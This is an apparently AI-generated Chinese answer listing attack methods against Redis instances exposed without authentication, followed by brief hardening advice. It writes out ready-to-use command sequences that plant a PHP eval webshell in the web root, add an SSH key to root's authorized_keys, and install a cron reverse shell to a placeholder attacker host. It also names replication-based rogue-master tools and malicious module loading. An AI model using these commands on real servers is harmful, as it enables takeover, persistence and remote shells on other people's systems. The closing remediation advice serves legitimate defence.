redis未授权攻击方式有哪些

Redis未授权访问漏洞通常由于配置不当(如默认未设置密码且绑定在0.0.0.0)导致攻击者可直接连接Redis服务并执行命令。以下是主要的攻击方式:

1. 信息泄露与敏感操作

  • 通过INFO命令获取Redis版本、操作系统内核、数据目录等敏感信息。
  • 使用CONFIG GET *读取配置文件,可能暴露其他服务路径或安全设置。
  • 通过KEYS *枚举所有键,查看存储的数据内容。

2. 写入恶意文件

  • Webshell写入:如果已知Web目录路径,可通过Redis写入Webshell。例如:
    config set dir /var/www/html
    config set dbfilename shell.php
    set payload "<?php @eval($_POST['cmd']);?>"
    save
  • SSH密钥植入:在允许SSH登录且权限合适的情况下,将公钥写入目标服务器的~/.ssh/authorized_keys文件:
    config set dir /root/.ssh
    config set dbfilename authorized_keys
    set payload "ssh-rsa AAAAB3NzaC..."
    save

3. 计划任务后门

  • Linux环境下可通过写入计划任务实现持久化(新版本Redis可能默认禁止写入/var/spool/cron/目录):
    config set dir /var/spool/cron
    config set dbfilename root
    set payload "* * * * * /bin/bash -i >& /dev/tcp/attacker_ip/port 0>&1"
    save

4. 主从复制利用

  • 攻击者将自身伪装为Redis主节点(master),诱导目标Redis作为从节点(slave)同步恶意模块(如.so扩展),从而加载恶意代码执行系统命令。常用工具:RedisModules-ExecuteCommandredis-rogue-server

5. 容器逃逸

  • 在Docker环境中,若Redis以root权限运行且未配置网络隔离,可通过写入计划任务或SSH密钥逃逸到宿主机。

6. 模块加载攻击

  • 利用MODULE LOAD命令加载恶意编译的Redis模块(如exp.so),直接获取系统权限(需Redis 4.x以上且未禁用模块功能)。

修复建议

  • 认证:配置requirepass强密码,并定期更换。
  • 网络隔离:绑定内网IP(bind 127.0.0.1),避免暴露在公网。
  • 权限控制:以非root用户运行Redis,并限制数据目录写入权限。
  • 配置保护:禁用高危命令(rename-command CONFIG ""rename-command MODULE ""),启用保护模式(protected-mode yes)。
  • 日志监控:审计Redis日志,及时发现未授权访问尝试。
所有内容均由人工智能模型生成,其生成内容的准确性和完整性无法保证,不代表我们的态度或观点。